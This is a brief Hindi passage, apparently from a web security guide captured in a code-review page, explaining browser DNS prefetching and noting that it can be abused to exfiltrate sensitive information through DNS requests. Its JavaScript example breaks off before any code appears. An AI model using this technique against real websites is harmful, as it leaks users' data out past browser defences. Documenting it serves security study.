पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को IP पते में पूर्व-हल करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\
|
||||
आप एक ब्राउज़र को एक होस्टनाम को पूर्व-हल करने के लिए संकेत दे सकते हैं: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
आप इस व्यवहार का दुरुपयोग करके **DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को एक्सफिल्ट्रेट** कर सकते हैं:
|
||||
```javascript
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user